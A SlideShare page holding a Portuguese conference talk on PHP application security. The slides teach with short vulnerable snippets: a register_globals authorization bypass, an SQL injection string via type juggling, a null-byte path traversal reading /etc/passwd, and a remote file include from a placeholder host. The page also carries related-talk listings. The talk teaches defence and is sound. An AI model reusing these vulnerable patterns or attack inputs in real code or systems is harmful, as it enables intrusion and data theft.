SlideShare uma empresa Scribd logo
1 de 26
Baixar para ler offline
RICARDO MELO

PHP e a segurança de aplicações

#phplx
Follow this topic:
@rjsmelo
RICARDO MELO

●   CTO @ DRI
●   Tecnologias: PHP, Mysql, Linux e OSS
    no geral
●   ZCE, RHCE, LPI 3, ITIL, etc




@rjsmelo                               2
O que é o PHP?




●   PHP é uma linguagem de programação
●   Apesar de ter nascido como “Personal
    Home Page”, é uma das linguagens de
    programação mais difundidas na/para a
    net.
●   Distanciou-se das origens e mudou de
    nome - PHP: Hypertext Preprocessor

      1999 - 2013 DRI. Alguns direitos reservados.   3
Anatomia do PHP

 ●   O “Core” da linguagem (os if's e else's)
 ●   As bibliotecas “oficiais” de funções
     (extensões)
 ●   O resto
     –    PEAR
     –    PECL
     –    OSS libraries




         1999 - 2013 DRI. Alguns direitos reservados.   4
O que faz o PHP popular




●   Baixa barreira de entrada
●   Resultados imediatos
●   O factor “recompensa imediata” do
    programador
●   Resolve os problemas que se propõe
    resolver de uma forma simples e efectiva


      1999 - 2013 DRI. Alguns direitos reservados.   5
De facto há quem o defina ...




●   Segundo Rasmus Lerdorf (the creator of
    PHP):
    “PHP has never been just a scripting engine with some cool
    add-ons. PHP has always been the solution to the Web problem
    with even more bonus add-ons. And as I have said so many
    times, PHP is not about purity in CS principles or architecture, it
    is about solving the ugly web problem with an admittedly ugly,
    but extremely functional and convenient solution. If you are
    looking for purity you are in the wrong boat. Get out now before
    you get hit by a wet cat!”


       1999 - 2013 DRI. Alguns direitos reservados.               6
Facilidade ou Facilitismo

  ●   register_globals
  ●   magic_quotes
  ●   safe_mode
  ●   open_basedir




       1999 - 2013 DRI. Alguns direitos reservados.   7
Mitos & Lendas do PHP

●   O PHP é Inseguro
●   O <XXX> é seguro
●   As frameworks resolvem os problemas
    de segurança




     1999 - 2013 DRI. Alguns direitos reservados.   8
Mitos & Lendas do PHP (2)




●   PHP é para fazer umas “páginazitas”
●   Se querem um site/portal/webapp/etc
    como deve de ser (enterprise level)
    então tem de se usar <XXX>




      1999 - 2013 DRI. Alguns direitos reservados.   9
Segurança de Aplicações

●   As preocupações “aplicacionais” da
    segurança de informação

    “Information security means protecting information
    and information systems from unauthorized access,
    use, disclosure, disruption, modification, perusal,
    inspection, recording or destruction”

    (http://en.wikipedia.org/wiki/Information
    _security)

     1999 - 2013 DRI. Alguns direitos reservados.    10
Abordagem “Normalizada”


    “[...] precisamos de aumentar a
    segurança do nosso software [...]”

●   Lista de falhas de segurança
    –    OWASP top 10
    –    SANS top 25
    –    Válidas para qualquer linguagem de programação e genéricas
         o suficiente
●   e um livro: “secure <xxxx>”
●   Code review & pen test & ...

        1999 - 2013 DRI. Alguns direitos reservados.             11
Exemplo: OWASP Top 10

●   A1-Injection
●   A2-Cross Site Scripting (XSS)
●   A3-Broken Authentication and Session
    Management
●   A4-Insecure Direct Object References
●   A5-Cross Site Request Forgery (CSRF)
●   A6-Security Misconfiguration
●   A7-Insecure Cryptographic Storage
●   A8-Failure to Restrict URL Access
●   A9-Insufficient Transport Layer Protection
●   A10-Unvalidated Redirects and Forwards
     1999 - 2013 DRI. Alguns direitos reservados.   12
PHP e a (in)Segurança

●   “With great power comes great
    responsibility”
●   A grande facilidade e flexibilidade da
    linguagem colocam várias vezes os
    programadores em apuros.
●   O “shared-hosting” potenciou a
    existência de aplicações com “tudo” na
    web root.
    –   Excepto por configuração do servidor, todos os ficheiros estão
        acessíveis via web


        1999 - 2013 DRI. Alguns direitos reservados.                     13
register_globals

  ●   O clássico...
  ●   Todos os parâmetros que são
      passados ao script (GET, POST,
      COOKIE, SERVER) passam a ser
      variáveis globais.
      // chamar usando http://server/script.php?authorized=1

      if ( some_function_to_chek($username,$password) {
         $authorized = 1;
      }
      if ( ! $authorized ) {
         exit;
      }
      // rest of the code

       1999 - 2013 DRI. Alguns direitos reservados.            14
$_REQUEST

●   O $_REQUEST foi uma solução de
    “migração rápida” do register_globals
●   Usa a mesma ordem de processamento do
    register_globals
●   Em vez de registar globais, regista “keys” no
    array $_REQUEST
●   Misturar GET e POST pode potenciar o
    XSRF e afins.
●   A maioria defende usar $_GET & $_POST
    para manter maior controlo sobre os
    pedidos.
     1999 - 2013 DRI. Alguns direitos reservados.   15
Case Sensitive & Type insensitive

●   O primeiro não é normalmente fonte de
    problemas
●   Já o type insensitive pode trazer os seus
    dissabores
    $country = "1 ; truncate world;";

    if ( $country > 0 ) {
       mysql_query("delete from world where country = {$country}");
    }

    echo (int)$country; // 1
    echo (string)$country; // 1; truncate world;




        1999 - 2013 DRI. Alguns direitos reservados.           16
Type juggling & Type cast

  ●   http://www.php.net/manual/en/languag
      e.types.type-juggling.php
      –    O tipo de variável é determinada pelo contexto
            ●   Se somarmos (+) é um int (ou float)
            ●   Se concatenarmos strings (.) é uma string
  ●   Typecast e afins
      –    (int), (float), (string), (array), (object), (unset)
      –    settype

                    $country = "1 ; truncate world;";
                    settype($country,'integer');
                    echo (int)$country; // 1
                    echo (string)$country; // 1



          1999 - 2013 DRI. Alguns direitos reservados.            17
Strings em PHP e em ... C

●   O PHP usa no final, bibliotecas em C.
        –    O “0” em PHP é mais um caractere
        –    Em C é o fim da string ...




    $file = $_GET['file']; // "../../etc/passwd0"

    if (file_exists('/home/wwwrun/'.$file.'.php')) {
        // file_exists will return true as the
        // file /home/wwwrun/../../etc/passwd exists

             include '/home/wwwrun/'.$file.'.php';
             // the file /etc/passwd will be included
    }


            1999 - 2013 DRI. Alguns direitos reservados.   18
Streams

●   O PHP usa streams para aceder aos
    “ficheiros”.
      ●   file:// — Accessing local filesystem
      ●   http:// — Accessing HTTP(s) URLs
      ●   ftp:// — Accessing FTP(s) URLs
      ●   php:// — Accessing various I/O streams
      ●   zlib:// — Compression Streams
      ●   data:// — Data (RFC 2397)
      ●   glob:// — Find pathnames matching pattern
      ●   phar:// — PHP Archive
      ●   ssh2:// — Secure Shell 2
      ●   rar:// — RAR
      ●   ogg:// — Audio streams
      ●   expect:// — Process Interaction Streams

     1999 - 2013 DRI. Alguns direitos reservados.     19
include / require

●   O include / require também usa streams
    pelo que pode incluir ficheiros via “http”,
    “ftp”, etc.
●   Excepto quando allow_url_fopen está
    inactivo
    //   $_GET['theme_path'] => http://some-host.xpto/nasty.php?

    include "{$_GET['theme_path']}/header.inc";




         1999 - 2013 DRI. Alguns direitos reservados.              20
A moda do .inc

 ●   Existiu uma tendência para usar a
     extensão .inc
 ●   Apenas superada pela tendência do
     “rename” para .orig ou .bak enquanto
     se faz um “debug” no servidor
 ●   Quando e extensão é “.php” o ficheiro
     é processado pelo PHP, quando é .inc
     e afins, é apenas um ficheiro de texto


      1999 - 2013 DRI. Alguns direitos reservados.   21
SQL Injections e Mysql

●   Mito:
    –   A extensão mysql é vulnerável a SQL injection
    –   Para resolver isso deve-se usar
         ●   Mysqli
         ●   PDO
●   Facto:
    –   É suposto (todas as extensões) deixarem o programador fazer os
        queries que entender
    –   Por isso pode-se fazer SQL injection em todas
    –   O problema está entre a cadeira e o teclado.
    –   Na realidade referiam-se a prepared statements.



        1999 - 2013 DRI. Alguns direitos reservados.               22
Magia da sessões

●   session_start()
●   It Just Works
●   Session Fixation
    –    session.use_only_cookies (default 1 para o PHP5.3)
    –    session_regenerate_id()




        1999 - 2013 DRI. Alguns direitos reservados.          23
QA
Follow this topic:
@rjsmelo
www.dri-global.com
@rjsmelo
ricardo.melo@dri-global.com
Thank you

Mais conteúdo relacionado

Mais procurados

Files e File System PHP (Português)
Files e File System PHP (Português)Files e File System PHP (Português)
Files e File System PHP (Português)Emerson Silva
 
Muito prazer, eu sou PHP
Muito prazer, eu sou PHPMuito prazer, eu sou PHP
Muito prazer, eu sou PHPLuís Cobucci
 
Tudo o que você precisa saber sobre o php7
Tudo o que você precisa saber sobre o php7Tudo o que você precisa saber sobre o php7
Tudo o que você precisa saber sobre o php7Er Galvão Abbott
 
O que é esse tal de rest? [PyBR2016]
O que é esse tal de rest? [PyBR2016]O que é esse tal de rest? [PyBR2016]
O que é esse tal de rest? [PyBR2016]Filipe Ximenes
 
TDC2018SP | Trilha Arq PHP - PHP Middlewares, o que sao? Onde vivem? O que fa...
TDC2018SP | Trilha Arq PHP - PHP Middlewares, o que sao? Onde vivem? O que fa...TDC2018SP | Trilha Arq PHP - PHP Middlewares, o que sao? Onde vivem? O que fa...
TDC2018SP | Trilha Arq PHP - PHP Middlewares, o que sao? Onde vivem? O que fa...tdc-globalcode
 
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...Rafael Jaques
 
Laravel + Vue: Como começar
Laravel + Vue: Como começarLaravel + Vue: Como começar
Laravel + Vue: Como começarLeandro Ferreira
 
Usando tapioca para acessar APIs web [PyBR11]
Usando tapioca para acessar APIs web [PyBR11]Usando tapioca para acessar APIs web [PyBR11]
Usando tapioca para acessar APIs web [PyBR11]Filipe Ximenes
 
APIs: o que são? onde vivem? do que se alimentam? [PyNE2016]
APIs: o que são? onde vivem? do que se alimentam? [PyNE2016]APIs: o que são? onde vivem? do que se alimentam? [PyNE2016]
APIs: o que são? onde vivem? do que se alimentam? [PyNE2016]Filipe Ximenes
 
O que esperar do Zend Framework 3
O que esperar do Zend Framework 3O que esperar do Zend Framework 3
O que esperar do Zend Framework 3Flávio Lisboa
 
Programacao c shell
Programacao c shellProgramacao c shell
Programacao c shellMatheus Lima
 
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...tdc-globalcode
 
Por que Python? Vamos Conhecer? Vamos Aprender?
Por que Python? Vamos Conhecer? Vamos Aprender?Por que Python? Vamos Conhecer? Vamos Aprender?
Por que Python? Vamos Conhecer? Vamos Aprender?Juliano Atanazio
 
Php7 esta chgando! O que você precisa saber
Php7 esta chgando! O que você precisa saberPhp7 esta chgando! O que você precisa saber
Php7 esta chgando! O que você precisa saberEr Galvão Abbott
 
Conceitos básicos PHP
Conceitos básicos PHPConceitos básicos PHP
Conceitos básicos PHPHelton Ritter
 

Mais procurados (18)

Files e File System PHP (Português)
Files e File System PHP (Português)Files e File System PHP (Português)
Files e File System PHP (Português)
 
Mongo + php
Mongo + phpMongo + php
Mongo + php
 
Muito prazer, eu sou PHP
Muito prazer, eu sou PHPMuito prazer, eu sou PHP
Muito prazer, eu sou PHP
 
Tudo o que você precisa saber sobre o php7
Tudo o que você precisa saber sobre o php7Tudo o que você precisa saber sobre o php7
Tudo o que você precisa saber sobre o php7
 
O que é esse tal de rest? [PyBR2016]
O que é esse tal de rest? [PyBR2016]O que é esse tal de rest? [PyBR2016]
O que é esse tal de rest? [PyBR2016]
 
TDC2018SP | Trilha Arq PHP - PHP Middlewares, o que sao? Onde vivem? O que fa...
TDC2018SP | Trilha Arq PHP - PHP Middlewares, o que sao? Onde vivem? O que fa...TDC2018SP | Trilha Arq PHP - PHP Middlewares, o que sao? Onde vivem? O que fa...
TDC2018SP | Trilha Arq PHP - PHP Middlewares, o que sao? Onde vivem? O que fa...
 
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
 
Laravel + Vue: Como começar
Laravel + Vue: Como começarLaravel + Vue: Como começar
Laravel + Vue: Como começar
 
Usando tapioca para acessar APIs web [PyBR11]
Usando tapioca para acessar APIs web [PyBR11]Usando tapioca para acessar APIs web [PyBR11]
Usando tapioca para acessar APIs web [PyBR11]
 
APIs: o que são? onde vivem? do que se alimentam? [PyNE2016]
APIs: o que são? onde vivem? do que se alimentam? [PyNE2016]APIs: o que são? onde vivem? do que se alimentam? [PyNE2016]
APIs: o que são? onde vivem? do que se alimentam? [PyNE2016]
 
O que esperar do Zend Framework 3
O que esperar do Zend Framework 3O que esperar do Zend Framework 3
O que esperar do Zend Framework 3
 
TDC 2016 - PHP7
TDC 2016 - PHP7TDC 2016 - PHP7
TDC 2016 - PHP7
 
Programacao c shell
Programacao c shellProgramacao c shell
Programacao c shell
 
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
 
Sapo Sessions PHP
Sapo Sessions PHPSapo Sessions PHP
Sapo Sessions PHP
 
Por que Python? Vamos Conhecer? Vamos Aprender?
Por que Python? Vamos Conhecer? Vamos Aprender?Por que Python? Vamos Conhecer? Vamos Aprender?
Por que Python? Vamos Conhecer? Vamos Aprender?
 
Php7 esta chgando! O que você precisa saber
Php7 esta chgando! O que você precisa saberPhp7 esta chgando! O que você precisa saber
Php7 esta chgando! O que você precisa saber
 
Conceitos básicos PHP
Conceitos básicos PHPConceitos básicos PHP
Conceitos básicos PHP
 

Destaque

Sudeste e Centro-Oeste lideram crescimento de inadimplentes no país
Sudeste e Centro-Oeste lideram crescimento de inadimplentes no paísSudeste e Centro-Oeste lideram crescimento de inadimplentes no país
Sudeste e Centro-Oeste lideram crescimento de inadimplentes no paísSPC Brasil
 
Escola são paulo mkt digital 2013
Escola são paulo mkt digital 2013Escola são paulo mkt digital 2013
Escola são paulo mkt digital 2013Marcos Hiller
 
4 rosa naters facilitando el comercio en el mercado global
4 rosa naters   facilitando el comercio en el mercado global4 rosa naters   facilitando el comercio en el mercado global
4 rosa naters facilitando el comercio en el mercado globalFundación Romero
 
A Prenda de Natal de Henrique Semprespera
A Prenda de Natal de Henrique SempresperaA Prenda de Natal de Henrique Semprespera
A Prenda de Natal de Henrique Sempresperasusana cruz
 
Potinhos infantis
Potinhos infantisPotinhos infantis
Potinhos infantisAnabela P.
 
APENDICE A-Ifá: La Religión Monoteísta más Vieja de la Humanidad:Sueños de un...
APENDICE A-Ifá: La Religión Monoteísta más Vieja de la Humanidad:Sueños de un...APENDICE A-Ifá: La Religión Monoteísta más Vieja de la Humanidad:Sueños de un...
APENDICE A-Ifá: La Religión Monoteísta más Vieja de la Humanidad:Sueños de un...Sociedad Yoruba Mexico
 
Nuevo material para curso virtual trujillo lunes 10 de agosto 2015 copia
Nuevo material para curso virtual trujillo lunes 10 de agosto 2015   copiaNuevo material para curso virtual trujillo lunes 10 de agosto 2015   copia
Nuevo material para curso virtual trujillo lunes 10 de agosto 2015 copiaIsela Guerrero Pacheco
 
Slideshare
SlideshareSlideshare
Slidesharetreybord
 
Informe unidad 3 admision de personal en la gestion de los recursos humanos
Informe unidad 3 admision de personal en la gestion de los recursos humanosInforme unidad 3 admision de personal en la gestion de los recursos humanos
Informe unidad 3 admision de personal en la gestion de los recursos humanosOmar Ovallos
 
Alterações no alfabeto
Alterações no alfabetoAlterações no alfabeto
Alterações no alfabetolurdesmartins
 
Rocas volcánicas cenozoicas en la
Rocas volcánicas cenozoicas en laRocas volcánicas cenozoicas en la
Rocas volcánicas cenozoicas en lariorancheria
 
Babalawo con orisha lavadoBabalawo con Orisha Lavado: ¿Un Religioso Incompleto?
Babalawo con orisha lavadoBabalawo con Orisha Lavado: ¿Un Religioso Incompleto?Babalawo con orisha lavadoBabalawo con Orisha Lavado: ¿Un Religioso Incompleto?
Babalawo con orisha lavadoBabalawo con Orisha Lavado: ¿Un Religioso Incompleto?Sociedad Yoruba Mexico
 
Palavras De Jesus
Palavras De JesusPalavras De Jesus
Palavras De Jesusguestaaf2bb
 

Destaque (20)

Sudeste e Centro-Oeste lideram crescimento de inadimplentes no país
Sudeste e Centro-Oeste lideram crescimento de inadimplentes no paísSudeste e Centro-Oeste lideram crescimento de inadimplentes no país
Sudeste e Centro-Oeste lideram crescimento de inadimplentes no país
 
Empresa bd
Empresa bdEmpresa bd
Empresa bd
 
Organismos y ambiente
Organismos y ambienteOrganismos y ambiente
Organismos y ambiente
 
Escola são paulo mkt digital 2013
Escola são paulo mkt digital 2013Escola são paulo mkt digital 2013
Escola são paulo mkt digital 2013
 
4 rosa naters facilitando el comercio en el mercado global
4 rosa naters   facilitando el comercio en el mercado global4 rosa naters   facilitando el comercio en el mercado global
4 rosa naters facilitando el comercio en el mercado global
 
A Prenda de Natal de Henrique Semprespera
A Prenda de Natal de Henrique SempresperaA Prenda de Natal de Henrique Semprespera
A Prenda de Natal de Henrique Semprespera
 
Desgualdade e exclusão
Desgualdade e exclusãoDesgualdade e exclusão
Desgualdade e exclusão
 
Potinhos infantis
Potinhos infantisPotinhos infantis
Potinhos infantis
 
El Idefá: ¿Qué es?
El Idefá: ¿Qué es?El Idefá: ¿Qué es?
El Idefá: ¿Qué es?
 
APENDICE A-Ifá: La Religión Monoteísta más Vieja de la Humanidad:Sueños de un...
APENDICE A-Ifá: La Religión Monoteísta más Vieja de la Humanidad:Sueños de un...APENDICE A-Ifá: La Religión Monoteísta más Vieja de la Humanidad:Sueños de un...
APENDICE A-Ifá: La Religión Monoteísta más Vieja de la Humanidad:Sueños de un...
 
Sociedad de la inf.1
Sociedad de la inf.1Sociedad de la inf.1
Sociedad de la inf.1
 
Mapa conceptual2
Mapa conceptual2Mapa conceptual2
Mapa conceptual2
 
Nuevo material para curso virtual trujillo lunes 10 de agosto 2015 copia
Nuevo material para curso virtual trujillo lunes 10 de agosto 2015   copiaNuevo material para curso virtual trujillo lunes 10 de agosto 2015   copia
Nuevo material para curso virtual trujillo lunes 10 de agosto 2015 copia
 
Slideshare
SlideshareSlideshare
Slideshare
 
Códigos qr para educación
Códigos qr para educaciónCódigos qr para educación
Códigos qr para educación
 
Informe unidad 3 admision de personal en la gestion de los recursos humanos
Informe unidad 3 admision de personal en la gestion de los recursos humanosInforme unidad 3 admision de personal en la gestion de los recursos humanos
Informe unidad 3 admision de personal en la gestion de los recursos humanos
 
Alterações no alfabeto
Alterações no alfabetoAlterações no alfabeto
Alterações no alfabeto
 
Rocas volcánicas cenozoicas en la
Rocas volcánicas cenozoicas en laRocas volcánicas cenozoicas en la
Rocas volcánicas cenozoicas en la
 
Babalawo con orisha lavadoBabalawo con Orisha Lavado: ¿Un Religioso Incompleto?
Babalawo con orisha lavadoBabalawo con Orisha Lavado: ¿Un Religioso Incompleto?Babalawo con orisha lavadoBabalawo con Orisha Lavado: ¿Un Religioso Incompleto?
Babalawo con orisha lavadoBabalawo con Orisha Lavado: ¿Un Religioso Incompleto?
 
Palavras De Jesus
Palavras De JesusPalavras De Jesus
Palavras De Jesus
 

Semelhante a PHP e a (in)segurança de aplicações

Palestra Desenvolvimento Ágil para Web com ROR UVA
Palestra Desenvolvimento Ágil para Web com ROR UVAPalestra Desenvolvimento Ágil para Web com ROR UVA
Palestra Desenvolvimento Ágil para Web com ROR UVAThiago Cifani
 
Dicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHPDicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHPDouglas V. Pasqua
 
Oficina de PHP - Software Freedom Day Luziânia 2013
Oficina de PHP - Software Freedom Day Luziânia 2013Oficina de PHP - Software Freedom Day Luziânia 2013
Oficina de PHP - Software Freedom Day Luziânia 2013George Mendonça
 
Google App Engine e PHP
Google App Engine e PHPGoogle App Engine e PHP
Google App Engine e PHPLuiz Messias
 
Node.JS - Workshop do básico ao avançado
Node.JS - Workshop do básico ao avançadoNode.JS - Workshop do básico ao avançado
Node.JS - Workshop do básico ao avançadoEduardo Bohrer
 
12 factor app. Melhor com Docker
12 factor app. Melhor com Docker12 factor app. Melhor com Docker
12 factor app. Melhor com DockerWellington Silva
 
PHP Turbinado com CodeIgniter - Conisli 2011
PHP Turbinado com CodeIgniter - Conisli 2011PHP Turbinado com CodeIgniter - Conisli 2011
PHP Turbinado com CodeIgniter - Conisli 2011Evaldo Junior
 
Phpjedi 090307090434-phpapp01 2
Phpjedi 090307090434-phpapp01 2Phpjedi 090307090434-phpapp01 2
Phpjedi 090307090434-phpapp01 2PrinceGuru MS
 
Iniciando com o PHP e conhecendo Codeigniter
Iniciando com o PHP e conhecendo CodeigniterIniciando com o PHP e conhecendo Codeigniter
Iniciando com o PHP e conhecendo CodeigniterRenan Martins Pimentel
 
Construção e provisionamento de ambientes de desenvolvimento virtualizados
Construção e provisionamento de ambientes  de desenvolvimento virtualizadosConstrução e provisionamento de ambientes  de desenvolvimento virtualizados
Construção e provisionamento de ambientes de desenvolvimento virtualizadosThiago Rodrigues
 
php4android: desenvolva aplicações android em PHP
php4android: desenvolva aplicações android em PHPphp4android: desenvolva aplicações android em PHP
php4android: desenvolva aplicações android em PHPRamon Ribeiro Rabello
 
See project - Segurança em Cloud Computing v2 FISL 11 2010
See project - Segurança em Cloud Computing v2 FISL 11 2010See project - Segurança em Cloud Computing v2 FISL 11 2010
See project - Segurança em Cloud Computing v2 FISL 11 2010Marcelo Fleury
 
Utilizando Técnicas de OSINT para inutilizar Soluções de Web Application Fire...
Utilizando Técnicas de OSINT para inutilizar Soluções de Web Application Fire...Utilizando Técnicas de OSINT para inutilizar Soluções de Web Application Fire...
Utilizando Técnicas de OSINT para inutilizar Soluções de Web Application Fire...Julio Cesar Stefanutto
 
Visao geralti netshoes04
Visao geralti netshoes04Visao geralti netshoes04
Visao geralti netshoes04Ale Uehara
 
Depurando aplicações PHP like a BOSS
Depurando aplicações PHP like a BOSSDepurando aplicações PHP like a BOSS
Depurando aplicações PHP like a BOSSThiago Rodrigues
 

Semelhante a PHP e a (in)segurança de aplicações (20)

Palestra Desenvolvimento Ágil para Web com ROR UVA
Palestra Desenvolvimento Ágil para Web com ROR UVAPalestra Desenvolvimento Ágil para Web com ROR UVA
Palestra Desenvolvimento Ágil para Web com ROR UVA
 
Dicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHPDicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHP
 
PHP, Mercado e Certificações
PHP, Mercado e CertificaçõesPHP, Mercado e Certificações
PHP, Mercado e Certificações
 
Oficina de PHP - Software Freedom Day Luziânia 2013
Oficina de PHP - Software Freedom Day Luziânia 2013Oficina de PHP - Software Freedom Day Luziânia 2013
Oficina de PHP - Software Freedom Day Luziânia 2013
 
Google App Engine e PHP
Google App Engine e PHPGoogle App Engine e PHP
Google App Engine e PHP
 
Cygwin
CygwinCygwin
Cygwin
 
PHP Tools for Fast coding
PHP Tools for Fast codingPHP Tools for Fast coding
PHP Tools for Fast coding
 
Node.JS - Workshop do básico ao avançado
Node.JS - Workshop do básico ao avançadoNode.JS - Workshop do básico ao avançado
Node.JS - Workshop do básico ao avançado
 
Drupal + Rex
Drupal + RexDrupal + Rex
Drupal + Rex
 
12 factor app. Melhor com Docker
12 factor app. Melhor com Docker12 factor app. Melhor com Docker
12 factor app. Melhor com Docker
 
PHP Turbinado com CodeIgniter - Conisli 2011
PHP Turbinado com CodeIgniter - Conisli 2011PHP Turbinado com CodeIgniter - Conisli 2011
PHP Turbinado com CodeIgniter - Conisli 2011
 
Phpjedi 090307090434-phpapp01 2
Phpjedi 090307090434-phpapp01 2Phpjedi 090307090434-phpapp01 2
Phpjedi 090307090434-phpapp01 2
 
Iniciando com o PHP e conhecendo Codeigniter
Iniciando com o PHP e conhecendo CodeigniterIniciando com o PHP e conhecendo Codeigniter
Iniciando com o PHP e conhecendo Codeigniter
 
Construção e provisionamento de ambientes de desenvolvimento virtualizados
Construção e provisionamento de ambientes  de desenvolvimento virtualizadosConstrução e provisionamento de ambientes  de desenvolvimento virtualizados
Construção e provisionamento de ambientes de desenvolvimento virtualizados
 
php4android: desenvolva aplicações android em PHP
php4android: desenvolva aplicações android em PHPphp4android: desenvolva aplicações android em PHP
php4android: desenvolva aplicações android em PHP
 
See project - Segurança em Cloud Computing v2 FISL 11 2010
See project - Segurança em Cloud Computing v2 FISL 11 2010See project - Segurança em Cloud Computing v2 FISL 11 2010
See project - Segurança em Cloud Computing v2 FISL 11 2010
 
Utilizando Técnicas de OSINT para inutilizar Soluções de Web Application Fire...
Utilizando Técnicas de OSINT para inutilizar Soluções de Web Application Fire...Utilizando Técnicas de OSINT para inutilizar Soluções de Web Application Fire...
Utilizando Técnicas de OSINT para inutilizar Soluções de Web Application Fire...
 
Visao geralti netshoes04
Visao geralti netshoes04Visao geralti netshoes04
Visao geralti netshoes04
 
Visao geralti netshoes04
Visao geralti netshoes04Visao geralti netshoes04
Visao geralti netshoes04
 
Depurando aplicações PHP like a BOSS
Depurando aplicações PHP like a BOSSDepurando aplicações PHP like a BOSS
Depurando aplicações PHP like a BOSS
 

Mais de rjsmelo

Docker and Running multiple versions of PHP @ CareerZoo Dublin
Docker and Running multiple versions of PHP @ CareerZoo DublinDocker and Running multiple versions of PHP @ CareerZoo Dublin
Docker and Running multiple versions of PHP @ CareerZoo Dublinrjsmelo
 
Docker & PHP - Practical use case
Docker & PHP - Practical use caseDocker & PHP - Practical use case
Docker & PHP - Practical use caserjsmelo
 
PHP QA Tools
PHP QA ToolsPHP QA Tools
PHP QA Toolsrjsmelo
 
PHPUnit your bug exterminator
PHPUnit your bug exterminatorPHPUnit your bug exterminator
PHPUnit your bug exterminatorrjsmelo
 
OWASP TOP 10 for PHP Programmers
OWASP TOP 10 for PHP ProgrammersOWASP TOP 10 for PHP Programmers
OWASP TOP 10 for PHP Programmersrjsmelo
 
Redis & ZeroMQ: How to scale your application
Redis & ZeroMQ: How to scale your applicationRedis & ZeroMQ: How to scale your application
Redis & ZeroMQ: How to scale your applicationrjsmelo
 
A Certificação LPI
A Certificação LPIA Certificação LPI
A Certificação LPIrjsmelo
 
PHP and Application Security - OWASP Road Show 2013
PHP and Application Security - OWASP Road Show 2013PHP and Application Security - OWASP Road Show 2013
PHP and Application Security - OWASP Road Show 2013rjsmelo
 

Mais de rjsmelo (8)

Docker and Running multiple versions of PHP @ CareerZoo Dublin
Docker and Running multiple versions of PHP @ CareerZoo DublinDocker and Running multiple versions of PHP @ CareerZoo Dublin
Docker and Running multiple versions of PHP @ CareerZoo Dublin
 
Docker & PHP - Practical use case
Docker & PHP - Practical use caseDocker & PHP - Practical use case
Docker & PHP - Practical use case
 
PHP QA Tools
PHP QA ToolsPHP QA Tools
PHP QA Tools
 
PHPUnit your bug exterminator
PHPUnit your bug exterminatorPHPUnit your bug exterminator
PHPUnit your bug exterminator
 
OWASP TOP 10 for PHP Programmers
OWASP TOP 10 for PHP ProgrammersOWASP TOP 10 for PHP Programmers
OWASP TOP 10 for PHP Programmers
 
Redis & ZeroMQ: How to scale your application
Redis & ZeroMQ: How to scale your applicationRedis & ZeroMQ: How to scale your application
Redis & ZeroMQ: How to scale your application
 
A Certificação LPI
A Certificação LPIA Certificação LPI
A Certificação LPI
 
PHP and Application Security - OWASP Road Show 2013
PHP and Application Security - OWASP Road Show 2013PHP and Application Security - OWASP Road Show 2013
PHP and Application Security - OWASP Road Show 2013
 

PHP e a (in)segurança de aplicações

  • 1. RICARDO MELO PHP e a segurança de aplicações #phplx Follow this topic: @rjsmelo
  • 2. RICARDO MELO ● CTO @ DRI ● Tecnologias: PHP, Mysql, Linux e OSS no geral ● ZCE, RHCE, LPI 3, ITIL, etc @rjsmelo 2
  • 3. O que é o PHP? ● PHP é uma linguagem de programação ● Apesar de ter nascido como “Personal Home Page”, é uma das linguagens de programação mais difundidas na/para a net. ● Distanciou-se das origens e mudou de nome - PHP: Hypertext Preprocessor 1999 - 2013 DRI. Alguns direitos reservados. 3
  • 4. Anatomia do PHP ● O “Core” da linguagem (os if's e else's) ● As bibliotecas “oficiais” de funções (extensões) ● O resto – PEAR – PECL – OSS libraries 1999 - 2013 DRI. Alguns direitos reservados. 4
  • 5. O que faz o PHP popular ● Baixa barreira de entrada ● Resultados imediatos ● O factor “recompensa imediata” do programador ● Resolve os problemas que se propõe resolver de uma forma simples e efectiva 1999 - 2013 DRI. Alguns direitos reservados. 5
  • 6. De facto há quem o defina ... ● Segundo Rasmus Lerdorf (the creator of PHP): “PHP has never been just a scripting engine with some cool add-ons. PHP has always been the solution to the Web problem with even more bonus add-ons. And as I have said so many times, PHP is not about purity in CS principles or architecture, it is about solving the ugly web problem with an admittedly ugly, but extremely functional and convenient solution. If you are looking for purity you are in the wrong boat. Get out now before you get hit by a wet cat!” 1999 - 2013 DRI. Alguns direitos reservados. 6
  • 7. Facilidade ou Facilitismo ● register_globals ● magic_quotes ● safe_mode ● open_basedir 1999 - 2013 DRI. Alguns direitos reservados. 7
  • 8. Mitos & Lendas do PHP ● O PHP é Inseguro ● O <XXX> é seguro ● As frameworks resolvem os problemas de segurança 1999 - 2013 DRI. Alguns direitos reservados. 8
  • 9. Mitos & Lendas do PHP (2) ● PHP é para fazer umas “páginazitas” ● Se querem um site/portal/webapp/etc como deve de ser (enterprise level) então tem de se usar <XXX> 1999 - 2013 DRI. Alguns direitos reservados. 9
  • 10. Segurança de Aplicações ● As preocupações “aplicacionais” da segurança de informação “Information security means protecting information and information systems from unauthorized access, use, disclosure, disruption, modification, perusal, inspection, recording or destruction” (http://en.wikipedia.org/wiki/Information _security) 1999 - 2013 DRI. Alguns direitos reservados. 10
